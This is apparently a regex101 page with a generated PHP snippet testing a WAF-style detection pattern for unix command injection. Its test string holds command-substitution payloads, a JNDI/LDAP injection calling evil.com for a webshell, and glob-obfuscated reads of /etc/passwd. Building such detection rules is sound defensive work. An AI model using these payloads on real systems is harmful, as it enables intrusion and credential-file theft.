Regular Expressions 101

Save & Manage Regex

  • Current Version: 1
  • Save & Share
  • Community Library

Flavor

  • PCRE2 (PHP)
  • ECMAScript (JavaScript)
  • Python
  • Golang
  • Java
  • .NET 7.0 (C#)
  • Rust
  • PCRE (Legacy)
  • Regex Flavor Guide

Function

  • Match
  • Substitution
  • List
  • Unit Tests
Sponsors
An explanation of your regex will be automatically generated as you type.
Detailed match information will be displayed here automatically.
  • All Tokens
  • Common Tokens
  • General Tokens
  • Anchors
  • Meta Sequences
  • Quantifiers
  • Group Constructs
  • Character Classes
  • Flags/Modifiers
  • Substitution
  • A single character of: a, b or c
    [abc]
  • A character except: a, b or c
    [^abc]
  • A character in the range: a-z
    [a-z]
  • A character not in the range: a-z
    [^a-z]
  • A character in the range: a-z or A-Z
    [a-zA-Z]
  • Any single character
    .
  • Alternate - match either a or b
    a|b
  • Any whitespace character
    \s
  • Any non-whitespace character
    \S
  • Any digit
    \d
  • Any non-digit
    \D
  • Any word character
    \w
  • Any non-word character
    \W
  • Non-capturing group
    (?:...)
  • Capturing group
    (...)
  • Zero or one of a
    a?
  • Zero or more of a
    a*
  • One or more of a
    a+
  • Exactly 3 of a
    a{3}
  • 3 or more of a
    a{3,}
  • Between 3 and 6 of a
    a{3,6}
  • Start of string
    ^
  • End of string
    $
  • A word boundary
    \b
  • Non-word boundary
    \B

Regular Expression
Processing...

Test String

Code Generator

Language

Generated Code

$re = '@\$(?:\((?:[^\(\)]*|\([^\(\)]*\))\)|\{[^\{\}]*\}|\[[^\[\]]*\])|[<>]\([^\(\)]*\)|(?:/[0-9A-Z_a-z]*\[!?[^/\]]+|\[[0-9A-Z_a-z]/+)\]@m'; $str = '/get?932130-1=$(cmd) 932130-2=${cmd} 931120-3=<(cmd) >(cmd)=931120-4 {"foo": "${:1337:-x$}{jndi:ldap://evil.com/webshell}"} var=0.84622338492032948`echo${IFS}crs312``echo${IFS}34test` cat /etc/pa[s]swd cat /[?]tc/pa[?]swd /get?s=/etc/pas[s]wd" /get?s=/etc/[!q]asswd /get?s=/etc/[m-z]asswd /get?s=/usr/bin/[u]name+-a /get?exec=/bi[n]/bash /get?932130-17=$([]) echo $(echo $(cat /etc/passwd)) echo ${asd} cat /etc/[p//]asswd cat /[e//]tc/[p//]asswd cat /[e/////////]tc/[p//]asswd ls a[b///]c ls *[a//]c # should not match 932130-5=Some text (in brackets). hello [text in brackets] take this math expression: 1/[a/-1] plase calculate the following a/[b/1234*c] '; preg_match_all($re, $str, $matches, PREG_SET_ORDER, 0); // Print the entire match result var_dump($matches);

Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for PHP, please visit: http://php.net/manual/en/ref.pcre.php